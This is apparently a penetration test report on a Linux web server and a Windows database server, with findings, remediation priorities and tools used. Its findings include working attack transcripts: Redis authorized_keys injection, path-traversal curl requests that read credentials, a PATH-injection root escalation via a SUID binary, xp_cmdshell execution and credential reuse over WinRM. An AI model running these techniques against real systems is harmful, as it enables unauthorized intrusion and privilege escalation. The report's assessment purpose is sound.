This penetration test assessed two internal servers — a Linux web server (192.168.1.101) and a Windows database server (192.168.1.102). Testing identified 8 security vulnerabilities:
The most severe finding is Redis Unauthenticated Access (F-001), which allowed an attacker to gain direct SSH access to the web server without any credentials. Combined with a misconfigured SUID binary and credential reuse between systems, an attacker achieved full administrative control over both servers.
The complete attack chain: unauthenticated Redis → SSH shell → path traversal to read credentials → MSSQL SA access → credential reuse → Windows admin. No credentials were required to begin this chain.
| Category | Detail |
|---|---|
| In-Scope | 192.168.1.101 (websrv01.corpnet.local) — Linux web server 192.168.1.102 (dbsrv01.corpnet.local) — Windows database server |
| Out-of-Scope | Other hosts on 192.168.1.0/24; AD domain controller (if separate) |
| Constraints | Full testing authorized, deep depth, exploitation approved |
| ID | Vulnerability | Risk | Affected Asset | CVSS |
|---|---|---|---|---|
| F-001 | Redis Unauthenticated Access | Critical | 192.168.1.101:6379 | 9.8 |
| F-002 | WordPress Plugin RCE (CVE-2023-6553) | Critical | 192.168.1.101:80 | 9.8 |
| F-003 | API Path Traversal | Critical | 192.168.1.101:8080 | 9.1 |
| F-004 | MSSQL SA Weak Password | High | 192.168.1.102:1433 | 8.1 |
| F-005 | SUID Binary Privilege Escalation | High | 192.168.1.101 (local) | 7.8 |
| F-006 | SMB Signing Disabled | Medium | 192.168.1.102:445 | 5.3 |
| F-007 | Cross-Service Credential Reuse | Medium | 192.168.1.102 | 6.5 |
| F-008 | WordPress Weak Admin Password | Low | 192.168.1.101:80 | 3.1 |
redis user on 192.168.1.101/usr/local/bin/backup_tool which calls system("tar ...") without absolute path. Escalated to root on 192.168.1.101/opt/app/config.json via /api/v1/files/../../../../opt/app/config.json, obtaining MSSQL SA credentialsnt service\mssqlserver on 192.168.1.102CORPNET\sqlsvc shares the SA password. WinRM access with local admin privileges on 192.168.1.102impacket-secretsdump to extract SAM hashes, LSA Secrets, and cached domain credentials from 192.168.1.102The Redis instance requires no authentication and is bound to all interfaces. The CONFIG command is unrestricted, allowing arbitrary filesystem writes — including SSH authorized_keys injection.
$ redis-cli -h 192.168.1.101 ping
PONG
$ redis-cli -h 192.168.1.101 CONFIG GET requirepass
1) "requirepass"
2) ""
$ redis-cli -h 192.168.1.101 CONFIG SET dir /var/lib/redis/.ssh
OK
$ redis-cli -h 192.168.1.101 CONFIG SET dbfilename authorized_keys
OK
$ ssh -i pentest_key redis@192.168.1.101 id
uid=110(redis) gid=115(redis) groups=115(redis)
requirepass to a strong password in redis.conf127.0.0.1 onlyrename-command CONFIG ""The Backup Migration plugin v1.3.7 allows unauthenticated PHP code injection. An attacker can execute arbitrary code on the server without any credentials.
$ wpscan --url http://192.168.1.101 --enumerate ap
[+] backup-migration
| Version: 1.3.7
| [!] Title: Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution
| Fixed in: 1.3.8
| References:
| - https://nvd.nist.gov/vuln/detail/CVE-2023-6553
The Express API file endpoint does not sanitize path parameters. Directory traversal sequences read arbitrary files, including credentials that enabled lateral movement to the Windows server.
$ curl -s --path-as-is http://192.168.1.101:8080/api/v1/files/../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...
$ curl -s --path-as-is http://192.168.1.101:8080/api/v1/files/../../../../opt/app/config.json
{"mssql_mirror":{"host":"192.168.1.102","user":"sa","password":"SQLServer2024!"}}
path.basename() or validate resolved path stays within base directoryThe MSSQL SA account uses a predictable password found in plaintext configuration. SA has sysadmin privileges enabling OS command execution via xp_cmdshell.
$ impacket-mssqlclient sa:'SQLServer2024!'@192.168.1.102
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
1
SQL> EXEC xp_cmdshell 'whoami'
nt service\mssqlserver
A custom SUID root binary calls system("tar ...") without an absolute path, enabling PATH injection to execute arbitrary commands as root.
$ strings /usr/local/bin/backup_tool | grep tar
tar -czf /tmp/backup.tar.gz %s
$ echo '#!/bin/bash
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/tar
$ chmod +x /tmp/tar && PATH=/tmp:$PATH /usr/local/bin/backup_tool /etc/hosts
$ /tmp/rootbash -p -c "id"
uid=110(redis) gid=115(redis) euid=0(root) egid=0(root)
/usr/bin/tar) in the binarysystem() with execve()SMB signing is not required, enabling NTLM relay attacks.
$ nxc smb 192.168.1.102
SMB 192.168.1.102 445 DBSRV01 [*] (signing:False)
CORPNET\sqlsvc uses the same password as MSSQL SA. WinRM access with local admin privileges.
$ nxc winrm 192.168.1.102 -u 'sqlsvc' -p 'SQLServer2024!'
WINRM 192.168.1.102 5985 DBSRV01 [+] CORPNET\sqlsvc:SQLServer2024! (Pwn3d!)
The WordPress admin account uses admin123, cracked within the top 10,000 common passwords via XML-RPC brute-force.
| Service | Test | Result |
|---|---|---|
| SSH (.101) | Weak ciphers, default credentials | Modern config, no default creds |
| FTP (.101) | Sensitive files, writable directories | Anonymous read only, no sensitive files |
| MySQL (.101) | Remote access | ACL properly restricts to localhost |
| PostgreSQL (.101) | Remote access | pg_hba.conf properly restricts |
| DNS (.102) | Zone transfer | Properly denied |
| SNMP (.101, .102) | Community string brute-force | Not accessible |
| RDP (.102) | Weak encryption, NLA bypass | NLA enabled, encryption adequate |
| SSL/TLS (.101) | Known vulnerabilities | No HEARTBLEED, POODLE, ROBOT, etc. |
| IIS (.102:8443) | Default credentials, traversal | Login required, no findings |
| Priority | Finding | Effort | Impact |
|---|---|---|---|
| 1 (Immediate) | F-001: Redis auth + bind localhost | Low (config change) | Blocks entire attack chain entry point |
| 2 (Immediate) | F-003: Fix API path traversal | Low (code fix) | Prevents credential exposure → blocks lateral movement |
| 3 (Immediate) | F-002: Update WP plugin | Low (plugin update) | Eliminates unauthenticated RCE |
| 4 (This week) | F-004 + F-007: Rotate all credentials | Medium | Invalidates all discovered credentials, breaks reuse |
| 5 (This week) | F-005: Fix SUID binary | Low (recompile) | Prevents privilege escalation |
| 6 (This month) | F-006: Enable SMB signing | Medium (GPO) | Prevents relay attacks |
| 7 (This month) | F-008: WP password policy | Low | Prevents brute-force access |
| Tool | Version | Purpose |
|---|---|---|
| nmap | 7.94 | Port scanning, service detection, NSE scripts |
| arp-scan | 1.10.0 | ARP-based host discovery |
| redis-cli | 7.0.15 | Redis interaction and exploitation |
| nuclei | 3.2.0 | Template-based vulnerability scanning |
| nikto | 2.5.0 | Web server vulnerability scanning |
| testssl.sh | 3.2 | SSL/TLS security audit |
| whatweb | 0.5.5 | Web technology fingerprinting |
| wafw00f | 2.2.0 | WAF detection |
| ffuf | 2.1.0 | Directory/API endpoint discovery |
| wpscan | 3.8.25 | WordPress vulnerability scanning |
| enum4linux-ng | 1.3.0 | SMB/NetBIOS enumeration |
| smbmap | 1.10.2 | SMB share permission enumeration |
| netexec (nxc) | 1.1.0 | Multi-protocol credential testing |
| impacket | 0.12.0 | Windows protocol exploitation |
| evil-winrm | 3.5 | WinRM shell access |
| onesixtyone | 0.3.4 | SNMP community string brute-force |